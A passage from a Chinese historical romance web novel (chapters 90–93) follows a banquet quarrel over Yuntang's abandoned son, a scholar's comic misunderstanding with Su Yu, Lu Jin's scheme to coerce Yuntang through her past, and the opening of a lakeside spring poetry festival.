恒王妃做为藩王妃,在直隶跟土皇后差不多,就连恒王爷都没怎么说过她,苏钰如此态度,顿时让她大怒,“你母亲二嫁……” “我母亲嫁于楚王爷,乃是太后指婚,恒王妃可是对太后有异议。”苏钰声音更大。 提到关太后,恒王妃顿时哑然,柔嘉郡主甚是不服气,还想再辩解,恒王妃却是拉住她。 关太后指婚时,苏钰己经九岁,不管是不是亲生,皇室都承认苏钰是楚王爷的继女。再反驳就是对关太后有意见。 “哎呀,要开席了,姐姐,我们也入座吧。”眼看着气氛要僵,宁阳侯夫人上前打圆场。 今天过来的目的是让云棠认下诚哥儿的,直隶所有的贵人都在这里,只要云棠认下了,她与陆锦的婚事就成了。 钱夫人身为主人,这种争执也不敢露头。 宁阳侯夫人出来打圆场了,她才连忙过来,引着恒王妃上座。 众人刚落座,衣着整齐的小丫头捧着菜上来,另有婆子接过摆桌。 菜过三巡,戏台上刚换了新戏,鼓点刚敲起来,诚哥儿突然大哭起来。 因为苏钰与恒王妃的争吵,席上压根就没人说话,诚哥儿这么一哭就格外的响亮。 宁阳侯夫人见状,连忙唤奶妈把诚哥儿抱过来,又看着云棠说,“这孩子估摸着是想亲娘了,母子连心,奶妈哪里能抱的住。” 恒王妃冷笑,“现在成了国公府的小姐,哪里还会想着儿子,女人心冷起来,那是真狠。” 叶氏变了脸色,刚想开口时,云棠突然开口。 她抬起头,眼晴直视着宁阳侯夫人,“孩子刚落地时,是您派了婆子来,对我说,我身份卑贱不配为母。您会给他另寻一个合适的母亲,让我彻底断了念想。” “现在我寻回亲人,成为国公府小姐,又是您让奶妈抱着孩子过来,对我说,母子连心。其实我自己也想知道,我到底算不算孩子的母亲。还是说,只有我成了国公府千金,对陆家有利了,才算是孩子的母亲。” 赤果果的一席话,把宁阳侯夫人的心事揭穿,也因为说的太明白,席上众人脸色都有些微妙。 青楼出身的云棠,宁阳侯府看不上,连孩子都不让抚养。 这本是高门大户的常事,说起来也是为孩子好。 现在云棠大变身,变成宁阳侯府高攀。 宁阳侯夫人这样抱着孩子硬贴,这种场合还抱着孩子,为的是什么,大家都明白。 要是云棠认下了,旁人也不说什么。但现在是云棠把宁阳侯这快遮羞布扯下来,那就是真难堪了。 世人皆市侩,但不能市侩的太明显,至少得留点脸面。 “婊子无情,青楼出来的,就是穿上华服也上不得台面。”恒王妃冷笑说着。 云棠深吸口气,似乎想把压在心头的污秽吐出去,“整个直隶都知道我的出身,我也从来没有隐瞒过,我是生于青楼,被陆大爷赎回来的。王妃觉得我低贱,那一直死缠着我,想用孩子绑架我的宁阳侯岂不是更贱。” “大胆!”恒王妃勃然大怒。 苏钰有个王妃亲娘就罢了,云棠一个随手可以捏死的蚂蚁竟然敢顶嘴,瞬间怒气上头,大声呵斥,“一个青楼妓子,千人骑万人枕的玩意,也敢这么跟我说话。” 就听“哐当”一声,叶氏拍桌而起,指着恒王妃怒骂,“一个京外藩王,真以为自己能一手遮天。这才几年,削藩丢爵的王爷可不是一个两个。” “你敢威胁我,我堂堂亲王妃……” “闭嘴!” 一声怒喝来自门口,正是匆匆赶来的恒亲王。 得知恒王妃带着宁阳侯夫人来了钱夫人寿宴,心知不好,他就赶紧来了。 没想到还是晚了一步,恒王妃还是跟叶氏吵了起来。 削藩丢爵的话,叶氏都直接说出口,嚣张是真器张,但恒亲王听着也是真害怕。 “王爷……” 恒王妃站起身,十分委屈,“苏家实在是……” “啪” 恒亲王抬手一个耳光打在恒王妃脸上,气愤之中,用力太大,恒王妃没能站稳,歪在地上。 场面有瞬间的静止,恒王妃自己都惊呆了。 她与恒亲王十几年夫妻,连个侧妃都没有,夫妻感情极好。 这是恒亲王第一次动手打她,还是在这么多人面前。 “母妃。” 柔嘉郡主吓坏了,上前去扶恒王妃。 恒王妃怔忡之中,满脸泪痕,早己泣不成声。 如此变故,大花厅里的众人都傻眼了。 前面的争吵还是能够理解的,恒王爷这一巴掌把所有人都吓傻了。 恒王爷为什么不护着自己媳妇,难道是因为惹不起苏家? “我的女儿与宁阳侯府无任何瓜葛,孩子更与我家无关。” 苏天华的声音从恒亲王身后传来,进门之后,他被拉去书房,来的比恒亲王还慢一步,却己知前因后果。 直接无视恒亲王夫妻,苏天华目光落到宁阳侯夫人身上,目光如刀,让宁阳侯夫人不禁打了个冷颤。 “再来纠缠,莫怪我不留情面。” 90-100 第91章 第 91 章 钱夫人寿宴的第一天…… 钱夫人寿宴的第一天在七零八落中结束了, 回到家后,叶氏便备了一份厚礼,让苏邑去了一趟四房祖宅。 今日之事,虽然是恒王妃挑衅在先, 但搅了钱夫人的寿宴是事实。 “母亲, 您为了寻回我, 历经千辛万苦, 而我却不想认自己的孩子。”云棠俯在叶氏膝上哭泣着。 她还记得怀孕时的喜悦,她还记得孩子被抱走后的痛苦。 但看到孩子, 她就会想到陆锦,想到那些谩骂,那些侮辱,过往的记忆痛楚全部涌了上来。 被陆锦送到恒王府的时候,她心里还是有一丝生机的。本就是一叶浮萍, 飘到哪里都一样。 结果,陆锦依然不放过她,却更加过份, 让她陪客, 让她登台, 侮辱谩骂比以前更多。 三叔公把她带走时,并没有把话说清楚, 她只以为是转送。 然后, 陆锦又追过来,还要放火烧屋,那一瞬间是她是真很想跟陆锦同归与尽。 为什么就是不肯放过她,为什么一定要逼她死。 “这不是你的错。”叶氏轻抚着云棠的头,“有时候亲子也需要缘分, 没有缘分也莫强求。” 云棠想重新开始,她就不能认下诚哥儿,认下了就是一辈子的痛苦。 陆锦这个畜生,该死。 “再过阵子,我们就回京城。老太爷,老太太,你外公,还有你三叔,三婶,兄弟姐妹,都是极好的人。”叶氏语气轻柔,安抚着云棠。 “一家人在一起,开开心心的,没什么过不去的坎。就是将来亲事,若是遇到喜欢的,想成亲了就对我说,不想成亲,那就一直在家里,没人敢说闲话。” 云棠的身世可以造假,但要成亲就不能隐瞒。 门当户对,或者稍差一点的世家公子里,能接受云棠身世的几乎没有。 单纯为了嫁人,特意往低里寻,又没必要。 不嫁人也没什么,跟着父母兄弟当一辈子姑娘,享一辈子清福也挺好。 “母亲……” 云棠听叶氏如此说,心中越发感动,失声痛哭。 叶氏摸着她的头,却没有劝,任由她哭泣发泄。 哭吧,哭吧,哭出来就好了。 晚间苏天华回家,晚饭入睡时,叶氏跟苏天华说起今天的事。 “我看那宁阳侯府是贼心不死,真以为自己在直隶称王称霸就能一手遮天了。”叶氏气哼哼说着。 虽然跟恒王妃吵架没有输,但若是在京城,这种事情就不会发生。 “下午我去了一趟恒王府,与恒亲王好好的聊了聊。”苏天华说着。“他己经承诺,绝不会过问宁阳侯府之事。” 恒王妃与宁阳侯夫人是亲姐妹,今天恒王妃过来也是给姐妹外甥出头。 她们怎么想不重要,只要恒王爷不犯傻,事情就容易解决。 毕竟是亲王爵位,他也不想闹的太难看。 “本就与他无关的事。”叶氏说着,神情却带着恍惚,“孩子是娘身上掉下来的肉,你说诚哥儿……” “辰姐儿想抚养那孩子?”苏天华问着。 也不是不可以,他出面要孩子,宁阳侯不敢不给。 至于陆锦,敢来京城纠缠,那就是找死。 叶氏摇摇头,“她并无此意,本就是孽缘,若是放不下,要被纠缠一辈子。” 她疑惑的是自己的心态,看着云棠在她膝上哭的时候,她是真的难受。 但是对于诚哥儿,有血缘的亲外孙,也见过两次,她却全然没有感觉,只觉得是个麻烦。 “无意更好,孩子嘛,总会再有的。”苏天华说着。 可能是经历的关系,云棠的性子过份柔弱,没办法负重前行。 抛弃负累,轻装上阵,一步步慢慢往前走,才能摆脱过去,活出自我来。 叶氏抿了一下唇,却没有说话。 也是,孩子,总会再有的。 *** 苏邑带着礼物去四房,刚到门口就看到一辆车驾驶进二门。 车驾十分破旧,拉车的车夫年龄很大了,衣服勉强称的上整洁。 钱夫人大寿,各路亲戚都来了,有富的自然也有穷的。 苏邑也不在意,门口下了马,交给门口小厮,拿了礼物径自从二门进去。 “这破马车,撑到现在没散架,真是运气好。” 清脆的声音从车厢里传出来,苏邑下意识看过去,只见一名十五六岁的少女从车下来。 布衣荆钗不掩国色,十五六岁的模样,小巧玲玲,却显得十分灵动。 苏邑不禁愣住了,直直看着她。 “看什么看,没看过美女啊。”少女看到苏邑,语气十分不客气。 “采蓝,不得无礼。” 车厢里传来女子的声音,随即车帘挑起,一位中年妇人从车上下来。 脸上虽然带着奔波的疲惫和沧桑感,眼晴却是明亮,嘴角含笑,除了年岁的差距,样貌长相与少女几乎是一模一样。 “母亲,是他无礼在先。”少女娇嗔。 苏邑顿时羞红了脸,手脚都不知道要怎么放,连声吱唔着,“我,我……” 正在尴尬之时,管事匆匆过来,看到苏邑,笑着道:“邑大爷,您来了。” “嗯,呃,我来,来看看老太太。”苏邑说着,手忙脚乱中扬扬手中的礼物,越发语无伦次,“母亲让我来的。” “老太太正在前头花厅,我领您过去。”管事客气说着。 “好,好。”苏邑说着。 跟着管事往里走,苏邑不自觉得回头看。 少女也正看着他,笑着指指他,“傻子。” 苏邑心里七上八下,心好像被蚂蚁咬着。先去花厅见了钱夫人,因还有旁人在,苏邑也不好询问,只是把陪罪的礼物送上。 “你母亲也太见外了。”钱夫人笑着说,“竟然还打发你来。” 苏邑本就不善于言词,再加上心思早飞了,顺着话客套几句就告辞离去。 花厅里还有别的亲戚,钱夫人也没留他,让管事送他出门去。 “刚才进门时遇到的那对母女,也是来给老太太贺寿的吗?”苏邑旁敲侧击问管事。 管事看出苏邑的心意,笑着说,“是远房亲戚,好像姓程,当家人过世不久。因为没有儿子,在婆家活不下去了,过来投靠的,估摸要住上一阵。” 钱夫人心善,向来惜老怜贫,经常有穷亲戚过来投靠,都习惯了。 “那就好。”苏邑自言自语着。 住上一阵好啊,现在钱夫人寿宴才第一天,还有两天才正式结束。 亲友宾客那么多,他也不好冲到人家里找人。等四房的事情忙完了,他再来找人也不迟。 苏邑心事重重的回到家里,进门就看到程喻。 “程兄?”苏邑说着,“你来找阿钰?” 程喻道:“也是来找苏兄,关于春日宴的事,我想细细告知。” 此时苏钰正在东厢房里,听到外头两人说话,便扬声说着,“我在屋里呢,你们都进来吧。” 屋子小也有屋子小的好处,省得各种通报,打开窗子就能听到外头人说话。 苏邑和程喻进到东厢房,苏钰正在左侧梢间里坐着,招呼两人进来。 绿川上茶,程喻先聊起花船,花船是他当的中介,自然要负责到底。 “要先确定上船的人数。”程喻说着,把花船的设计画纸拿了出来。 苏邑买的时候,花船硬装软装基本都己完成。 现在主人换了,硬装改动来不及,软装部分却可以调整。 首先,就是登船人数。 花船面积是有限的,确定人数才好布局,不然连坐次都没有,全挤在一起,那就不好看了。 苏钰看一眼苏邑,“预留四个主人位置。” 她,苏邑,云棠肯定要去,苏天华肯定不去,叶氏去不去不一定。 位置先留着,万一人数有变,也有个预备。 程喻当即在图纸上勾勾画画,苏钰见他如此专业,不禁道:“程公子对于船坞构造,也有所了解?” “是。”程喻事实求是说着,“许多船坞制造商高价聘我当客卿,恒王府的花船就是我设计的。” 不止内部装修,还有船只架构,他都非常善长。 苏钰十分意外,“没想到程公子涉猎甚广。” 书香门第人家的少爷,为了亲友出入青楼就算了。但船坞设计这种属于工匠之流,读书人是不屑人的。 “家中藏书甚丰,少时偶然读到过。”程喻想想又说,“算不上爱好,只是生财之道。” 程家落魄了,就是不落魄对于他来直隶寻找郑家人,家族也是反对的。 他一个文弱书生,肩不能挑,手不能提,写的词送给青楼女子免费弹唱。虽然流传甚广,却无人花钱请他写。 每年一度的春日宴,让直隶的船坞制造十分发达。船坞老板虽然是商户,但银子给的实在。 吃穿用度都要钱,画图赚钱,他不觉得羞耻。 “程公子倒是坦荡。”苏钰说着,对程喻改观不少。 一般来说,读书人最讲究风骨,不为五斗米折腰,读书要读圣贤书,下流之事皆不可做。 就比如她写话本,要是被外人知晓了,肯定会被一通嘲讽。 三人聊了一会花船改造,苏钰和苏邑提供意见,程喻一一记下。 因临近春日宴,改造部分需要加班加点完成。 程喻与船坞老板关系很好,一定不会耽搁苏家人出行。 “如此,我就告辞了。”程喻说着,把图纸收好。 “稍等。”苏钰叫住程喻,又对苏邑说着,“我有几句话想单取与程公子说。” “好,你们聊。”苏邑说着,起身出去。 等苏邑出了门,苏钰决定开门见山,“程公子如此细致,是想通过我的关系,给郑家脱籍吗?” 程喻微微一怔,没想到苏钰这么早就把话说开了,道:“是,我确实如此想。” 说着,程喻朝苏钰郑重行了个大礼,“为了这个目的,我听凭姑娘吩咐。” “为官奴脱籍,我确实可以做到。”苏钰说着。 这倒不是大话,给慕容宁或者苏略写一封信的事。因为事不大,估计都不会问她原由。 “但是,我实在不知道,要吩咐你什么。” 程喻急切说着,“只要此事办成,我这条命就是姑娘的。” “我要你的命做什么。”苏钰说着,她又不是杀人狂。 “所有事情都有代价,你希望我为你做事,你就要想想能为我做什么。” 金银财宝,权势富贵,她全然不在意。 她所求所想,全在于感情,不管是对薛迟还是对苏天翊,又都勉强不得。 程喻想为她提供价值,她都想不出,程喻能为她做什么。 “我明白了。”程喻神情严肃,把心一横,“从此之后,我就是姑娘的人了。” “啊?” 程喻开始脱衣服。 苏钰大惊失色,“你到底明白什么了。” 第92章 第 92 章 苏钰一边阻止程喻,…… 苏钰一边阻止程喻, 一边高声喊苏邑进来。 刚才把苏邑支出去是不想程喻尴尬,哪里想到,程喻能完全想歪。 “怎么了?” 苏邑匆匆进门,抬头就见程喻外衣都脱了, 满脸惊讶, “你, 你们这是……” 他才刚出去一会, 就玩这么大的吗。 “不是这个意思吗?”程喻也愣住了。 苏钰指着他,怒声喝斥, “你先把衣服穿好再说话。” 程喻脸上闪过一丝尴尬,却是迅速把衣服穿好,低着头说,“是我误解姑娘了。” “我到底哪句话,让你误会成这样?”苏钰觉得冤枉极了。 “我想了又想, 除了这副身体之外,实在想不出能为姑娘做什么。”程喻说着。 苏钰的身世背景,几乎站到了权力的顶峰, 公主郡主都比不了。 脱籍之事, 恒王世子都说办不成。 苏钰轻描淡写的说可以办到, 但让他付出代价。 他一介布衣白身,又无家世背景。 写诗作词是他的长处, 但苏钰本身就是才女, 她的诗才还在他之上。 就是造船画图,以苏钰的权势,说句想要,能工巧匠随召即到。 虽然不想承认,他这个人对于苏钰确实是无用的。 这时候, 苏钰却支开苏邑,单独跟他聊价值,让他付代价。 他想了又想,除了这副还算不错的皮囊,他真的想不出,苏钰想要什么了。 “你别太……” 苏钰下意识就想说,做人不能太自恋,想献身也得看看自己的条件。 然后,抬头看到程喻,眉如墨画,目若繁星,身量虽然够高,肩若削成腰若约素,四肢纤细修长。 这么一个我见犹怜,纤细美男子,还真有献身的资本。 “阿钰一个未出阁的千金小姐,你怎么会往……”苏邑惊诧说着。 就是苏钰的话让人误会,但误会的方向也太奇怪了。 “我第一次见苏姑娘是在丽……”程喻说着。 一个男装逛青楼,召姑娘喝花酒的千金,这本就不是一般人。 十九岁依然未成亲,也有可能是嫌成亲麻烦,不如收几个男宠来的痛快。 “够了。”苏钰喝住程喻,没把丽春院三个字说出来。 要是苏邑知道她逛青楼,那就更说不清楚了。 “我不管你怎么想的,总之,我没有这个意思,是你想歪了。” 程喻躬身道歉,语气真诚又急切,生怕得罪了苏钰,“是我误会了姑娘,我向姑娘道歉。姑娘有任何吩咐,我肝脑涂地,在所不辞。” “我就想不出能让你做什么,才让你想的。”苏钰扶额,“算了,我会写信的,至于要你做什么,等我想到再说。” 虽然不知道郑家人犯了什么罪,但男丁杀光,女眷入教坊司,受尽凌辱折磨。 十五年过去,只活下来四个。就是天大的罪,也赎完了。 这世道的女子本就活的命苦些,能帮忙就帮吧。 程喻长长舒口气,直接给苏钰跪下,“苏姑娘大恩,我来世结草衔环也必报答。” “等事情成了再谢也不迟。”苏钰说着,忍不住再次提醒他,“以后莫要胡思乱想。” 一言不合就脱衣服,怪吓人的。 解释清楚后,苏钰直接下逐客令。 程喻哪里还敢留,赶紧走了。 等到程喻出门去,苏邑还一脸惊讶的模样,“没想到直隶民风如此开放,程公子想法如此新奇。” 虽然苏钰的话存在让人误解的部分,但能往这方面想的程喻也很奇葩。 纯洁如他,别人再怎么暗示,他都听不懂。 苏钰想了想,“他生的如此好看,常出入青楼,为了郑家人能脱藉,四处奔走求人办事,只怕是有人提过这种要求。” 美貌是一种资源,对女人是,对男人也是。 “有道理。”苏邑说着,却颇为感慨,“我看过他的诗,确实有才。” 出身书香门第的大才子,本该专注于学业,考取功名以求建功立业。 程喻却在最好的年华,为郑家辛苦奔走,出入青楼教坊,将来前程都不好说。 “就算是母亲遗命,能做到这份上,也是难得的有情有义。”苏钰说着。 这也是她会帮忙的原因之一,有情有义的人,值得帮,他真的会回报。 当天晚上,苏钰开始写信。 第一封写给慕容宁,开篇问侯之后,先说了自己在直隶的情况,又说到云棠。 苏辰寻回来的事,苏天华早就往京城写了信。不过慕容宁那么忙,再加上与苏家的关系,多半是不知道的。 大概说了说云棠的情况,还提到了陆锦,渣男都不足以形容,让苏辰对人种的多样性有了新的了解。 洋洋洒洒写了几大张,意犹未尽的停了笔。绿川在旁整理晒干,小心封装。 第二封写给苏略,相比写给慕容宁的,少了敬意,也更随意一些。 不管苏略对外人如何,从小到大,对她无可挑剔,她也一直当苏略是亲兄长。 对待兄长,自然不必向对待母亲那般敬重,许多话也说的随便。 在信的最后,苏钰提到给郑家脱藉之事,没提程喻,只让苏略帮这个忙。 郑家的事若是拜托慕容宁,慕容宁肯定会问原由,弄不好还会乱想一通。 因为一个陌生男子的请求,就给官奴脱藉,多少得有点原因。 而苏略就是觉得奇怪,但以他的性格,她撒个娇叫两声好哥哥事情就过去了,不会多问,反而省事。 又是洋洋洒洒几大张,绿川封信的功夫,苏钰想了想又给苏震岳和谷夫人写了一封。 这封就简单了许多,来自晚辈的问侯,大概说了说直隶的情况,对与云棠,只说姐妹相处的很好。 又问家中情况,末尾还向苏天佑和关氏问好。 “把信交给管事,二叔有信送到京城时一起带上。”苏钰吩咐绿川。 苏天华会定期派人往京城送信,不走官方驿站,而是心腹管事亲自跑一趟京城。 顺道一起,把这三封也捎到京城。也省得走驿站,还有丢信的烦恼。 “姑娘放心吧。”绿川说着把三封信封好,压在书案上,今天天色己晚,明天去找管事。 苏钰连写了三封信,手腕都酸了,正想起身到院中走走。 只见绿川打来热水,给苏钰热敷,“院子小,这个时间走动,怕是要惊动二老爷和二太太,姑娘就先委屈一下。” “你说的是,我还以为在家里呢。”苏钰不禁笑了,“还是你细心些。” “不然怎么能侍侯姑娘这么多年。”绿川笑着说,“姑娘给郑家人脱籍之事,幸好是在直隶,不是在京城,不然外头人不知道怎么说呢。” 给官奴脱籍,还是祖上犯了事的官奴,这人情大着呢。 要是没有原由,谁管这档子闲事。 再配上程喻的身世长相,那就不是几角恋的问题,是直接收男宠了。 “随他们说去。”苏钰不当回事说着,闲言碎语挡不住,她身上的谈资太多,不差这一点。 绿川只是笑,十分幸庆,“幸好是在直隶。” 若是在京城,还不知道会闹成什么样。 *** “我要娶云棠,我非她不娶。”陆锦大声说着,神色烦燥极了。 他被关在家里,宁阳侯夫人一直对他说,婚事要慢慢来,有诚哥儿呢,云棠跑不掉。 结果钱夫人寿宴上,恒王妃被恒亲王当众打了耳光,苏天华直接放话,根本就不认孩子。 “唉,云棠一个青楼里出来的,就是成了国公府小姐,那身世说出去也是不好听的。”宁阳侯说着,“正好苏家也不同意,就此丢开手,你出去散散心,我另外再给你寻门好亲事。” 恒王妃都被禁足了,恒亲王甚至扬言,再敢掺和此事,他就要上奏朝廷休妻。 同时恒亲王也威胁了他,两家从此断亲,宁阳侯府想死就自己去死,别拖累恒王府。 “我就喜欢云棠,我只要她。”陆锦脾气越发暴燥。 他己经太久没有见过云棠,以前吵也好,闹也好,哪怕是把她送到恒王府那段时间,他也会日日过去看她。 现在彻底看不到了,他才发现,原来他是真的离不开云棠。 “喜欢她?那你早干嘛去了。”宁阳侯夫人生气,“你若是好好待她,也不至于到如此地步。” 陆锦外头的事,家里没人管过。他与云棠外面不管闹成什么样,都没人说过他。 就是抱走诚哥儿,那也是陆锦愿意的。她甚至还想过,看在诚哥儿的份上,让云棠进门当妾。 结果陆锦自己,又是打又是骂,还把云棠送给了恒王府。 把事情做的这么绝,现在又说爱上云棠。 这要不是自己的亲生儿子,深知其性情。宁阳侯夫人都要骂一句,明明就是看上云棠现在的家世,装什么深情。 “以前,以前……”想到以前,陆锦只觉得悔恨无比,咬牙说着,“我以后会好好待她。” “晚了,真的晚了。”宁阳侯气的都无语了,懒得看陆锦发疯,起身往外走,“我让人收拾你的东西,你出门走走,哪里都好,别留在直隶。” 散心也好,避祸也罢,苏家人没离开直隶前,陆锦就别回来了。 宁阳侯夫人也是心力憔悴,虽然舍不得儿子,也觉得陆锦不合适呆在直隶,“出门走走好,万一又遇上喜欢的呢。” “我不要,我就要云棠。”陆锦怒声吼着,比宁阳侯还快一步往外冲。 “给我拦住他。”宁阳侯生怕他跑出去生事,连忙唤来管事带着护院,硬是把陆锦拦住了。 “关到屋里,你们日夜守着,不准他出门。”宁阳侯发了狠。 “大爷,抱歉了。” 护院们说着,硬是把陆锦架着,回到自己院子里。 宁阳侯十几个护院,把前后门都守着,连屋顶都蹲了人,可谓是插翅难飞。 “岂有此理,放我出去……” 陆锦发起脾气,在屋里哐哐砸了起来,满院侍侯的人都不敢进身。 直到东西砸的差不多,陆锦力气也耗尽了,颓然坐在院中,整个人都是颓废的。 “爷,爷……”陆锦的贴身小厮来旺走到陆锦身边。 陆锦整个人都是呆的,径自骂着,“滚远点。” 来旺犹豫一下没滚,却是道:“爷,小的忆起一件事,也许能帮你追回云棠小姐。” “什么事?”陆锦神色都变了。 来旺缓缓道来,当年江南他是跟着陆锦去的,陆锦在教坊里赎了云棠,天天风流快活。 当奴才的也没太闲着,就跟着教坊里一个半老徐娘当起了露水夫妻。 有天晚上,两人吃了酒,半醉之时,对方说,那个云棠是教坊前花魁的女儿,爹是谁都不知道。 花魁生下她不久就去世了,留下襁褓中的云棠。老鸨子与花魁有几分姐妹情,给花魁办了丧事后,就就收养了云棠。 老鸨子很喜欢云棠,云棠性格好,教坊里的姐妹对她也都挺好。 为了给她抬身价,老鸨子四处对外说,云棠是落难的京城贵女。 云棠确实生的好,气质也好,老鸨子说的多了,也就有人信了,连云棠自己都信了。 这也是教坊里常使的手段,落难的贵女,对于男人有格外的吸引力,高贵又可以随意侵犯,那感觉可是太爽。 爹不详,妓女的女儿,就是生的再漂亮,沾了个贱字,一辈子也就那样了。 “这么说,她不是国公府千金。”陆锦说着,神情急切了,“你为什么不早说?” “我当时也喝醉了,醒了就忘了这事。也是这些日子,提起云棠小姐的身世,我想起来的。”来旺陪笑说着。 当年他是觉得没必要说,教坊里出来的女子,己经很可怜了。 陆锦待云棠本来就不好,己知她是落难贵女的时候,还张口闭口勾栏里的贱人骂。 要是再说了这个,在陆锦眼里,云棠就更不是人了。 现在情况不同了,陆锦娶了云棠,身价地位就可以飞升,身为奴才也能跟着沾光。 再者这种需要尽忠的时候,他不说就对不起陆锦对他的栽培。 “那滴血认亲……”陆锦不禁说着。 在苏家二房进行的,那么多祖老都在,云棠做不了手脚,应该不会出错。 “大爷何必想这些,只要找到证人,带到云棠小姐面前,吓唬几句,她害怕了,自然就会答应亲事。”来旺说着。 云棠胆子很小,又懦弱,她是真千金还是假千金根本就不重要。并不会拆穿她,只是以此拿捏她,让她吐口答应亲事。 这样陆锦才能成为英国公府的女婿,不然大家撕破脸,国公府不认她了,又成了教坊里的妓女,对陆锦也没益处。 “你说的对,没了国公府的庇护,她就再翻不出我的手掌心了。”陆锦高兴极了。 只要他能找到当年的知情人,证明云棠的身世,云棠就不再是国公府的小姐了。 不是国公府的小姐,就又成了他的小女奴,只是想到这点,陆锦就兴奋起来。 第93章 第 93 章 春日宴属于每年的固…… 春日宴属于每年的固定活动, 与前朝的过份不和谐相比,大周的春日宴单纯又干净。 宴会总共三天,除了才子们,达官显贵, 淑女贵妇都会参加。 活动内容基本就是才艺大比拼, 谁行谁上, 大家排个名次出来。 直隶的春日宴也是如此, 不同的是,直隶有红莲湖, 占地面积广,风景也好。 每年的春日宴就成了另类花船大比拼,谁家的花船好,谁家的大,谁家名贵, 更像是斗富大会。 陆锦所谓的给云棠造花船,实则是给自己撑门面。 到了十五当天,苏邑骑马, 苏钰和云棠坐车, 带着一众丫头婆子, 早早到了红莲湖。 因红莲湖站地面积太大,春日宴只占了东南一角的水域。 “这就是红莲湖啊, 风景确实不错。”苏钰笑着说。 一望无垠的水域, 岸边杨柳依依,春风吹过,带来丝丝水气。 京城也有湖,但都是人工湖,只是面积这一项就差多了。 各家的花船己经停靠在岸边, 另有巨大展台临水而建,是主事人所在的位置。以及没有花船,或者不想下水的富贵人家的坐位。 至于普通百姓,湖面宽广,沿边可以落脚处许多。为了占到最佳观赏位,许多人早早过来抢位置。 “那艘应该是我们的船。”苏邑眼尖,看到程喻的小厮。 花船买卖是程喻一手操办的,他只管付钱。 岸上那么多花船,他不认识船,但认识人。 “走,过去看看。”苏钰笑着说。 两人兴冲冲的过去,连带着丫头婆子,都显得很兴奋。 京城来的,没见过那么大的湖,第一次玩水格外高兴。 相比之下,云棠就显得淡淡的。 陆锦带她参加过春日宴,说是带她游玩,现在想来更像是一种展示。 漂亮的外室,也是男人炫耀的资本。 “苏姑娘。” 看到苏钰一行人,程喻从花船二楼下来。 这艘花船算是他一手打造的,马上就要下水起航,他上来做最后的检查。 “程公子辛苦了。”苏钰笑着说。 程喻连连摆手,“姑娘快别这么说,为姑娘做事,我心甘情愿。” 只要苏钰能让郑家脱籍,就是他的再生父母,这点小事不值一提。 程喻招手唤来忙碌中的水手,给苏钰介绍着,“这几位是船行的水手,我特意请来给花船掌舵。” 考虑到苏钰和苏邑来自京城,多半是旱鸭子,对行船也完全不懂。 他特意在船行找了最好的水手,可以处理一切突发事件。 “辛苦几位了。”苏钰笑着说。 众水手说着,“苏姑娘客气,既是程公子的恩人,也就是我们的恩人了。” 众人说的认真,倒是搞得苏钰有些不好意思,给郑家脱籍的事要是办不成,她都没脸见人了。 又说几句,苏钰便对程喻说,“程公子是主事人,今天肯定事务繁忙,就不耽搁你了。” 程喻今天肯定很忙,却还能跑过来检查花船,安排水手,这份心意她领了。 程喻也觉得时间差不多得过去了,便道:“我失陪了。” 程喻带着小厮离开,水手们各就各位。 苏邑第一次坐这么大的船,游这么大的湖,显得十分兴奋。 苏钰看着花船内部装饰,奢华却不失高雅,细节处理的非常好,十分合她心意。 程喻做事,确实仔细。 “咚咚~” 鼓声阵阵,如雷贯耳,春日宴开始了。 原本熙熙攘攘的人群,顷刻聚于湖边,翘首以盼。 停靠岸边的花船启航,数艘花船缓缓驶出,场面甚是壮观。 船身皆以彩绸装饰,随风飘动,宛如天边云霞。船头摆放着各色鲜花,争奇斗艳,芬芳四溢。 “那艘看着好大。”苏邑指着左侧第一艘花船。 云棠看过去,“那是恒王府的花船,是恒王世为了春日宴特意打造,光是船身所用的木材,都是从江南运来的珍稀楠木。” 想到这回与恒王妃见面时的不愉快,苏钰微微皱眉。 难得的好日子,她可不想跟恒王妃再撕一场。 说话间,又有一艘花船驶出,船头雕刻着威猛的狮子,张牙舞爪,威风凛凛。 “这是知府的花船。”云棠说着。 苏钰看了一眼,这知府似乎比恒王府还有钱。 好像展览一般,各家花船江面行走,争奇斗艳。 这也是春日宴的传统项目,斗富。 再有钱也不好刻脑门上,用打造花船来展现财力,每年的花船排名,也就是财富排名。 云棠对于花船并不在意,却时刻留意着湖面。 这种场合,陆锦从来不会错过。 来之前,苏邑向她保证,若是陆锦敢来纠缠,他就把陆锦扔下到湖里喂王八。 她相信苏邑能做到,但她依然害怕。 陆锦是她恐怖的源泉,是恶梦的本源,她真的不想看到陆锦,哪怕只是影子。 “哐~” 岸边锣声响起,程喻登台高声宣布,“此次诗会的第一首诗,以红莲湖上的美景为题,限时一炷香,诸位才子佳人请一展才华。” 侍从点香,插于正中香案上,计时开始。 苏钰略作沉思,心中己有腹案。 花船正中摆着书桌,笔墨纸砚早己备齐,苏钰走过去正欲提笔时,笑着道:“换张大点的纸。” 绿川早有准备,铺开长条宣纸,毛笔也换成超大号狼嚎。 除了诗才,苏钰的书法也堪称一绝。 落笔犹如行云流水,毫无滞涩之感,一首绝句落于纸上。 “阿钰,厉害!”苏邑旁边看着,拍手叫好。 苏钰笑着道:“劳烦你挂在船头。” 按照直隶春日宴的规矩,诗作完后,因为是在湖上,传递麻烦,就会着书僮大声朗读出来。 虽没有扩音设备,但水声本就能传音。 岸上自有人记录下来,最后点评,议出三甲。 绿川把墨迹吹干,苏邑接过,走到船头轻功跃起挂到船头。 虽然湖面宽广,但花船离的都不远,这么一大副字挂在船头,别说同在花船上的,岸边的围观群众都看的一清二楚。 诗好,字好,还如此高调的这么挂出来,顿时议论声一片。 其他人还罢了,唯独柔嘉郡主,因为苏家的关系,恒王妃被禁足,来参加春日宴本就想着压苏家人一头,好给母亲报仇。 没想到苏钰如此张扬,如此会出风头。 柔嘉郡主示意水手,让花船靠近苏家花船,人站到船头,阴阳怪气说着,“作诗就作诗,还显摆起书法来了,果然是京城来的大户人家的小姐,这行事就是张扬。” 苏钰端着茶碗从船舱中出来,慢悠悠品着茶,笑着说,“郡主要是想比,也可以写一副挂出来,让我瞧瞧郡主的才情。” “你!” 柔嘉郡主气极,没想到苏钰竟然如此嚣张,刚想再说别的,身边丫头悄悄拉拉她。 柔嘉郡主反应过来,她这回也是有备而来,为的就是压苏钰一头,“写诗无趣,要比就比琴艺。” “这么多仕子都在写诗,郡主却说写诗无趣。”苏钰说着,把茶杯递给绿川,“也罢,郡主想比琴,那就比比看。” 说着,苏钰偏头看一眼苏邑。 她的琴艺一般,但苏邑的琴艺,绝对可以技压群雄。 “这可是你答应的,输了可别不认帐。” 柔嘉郡主说着,转身进了船舱。 苏钰道:“不把琴搬出来,当众弹奏吗。” 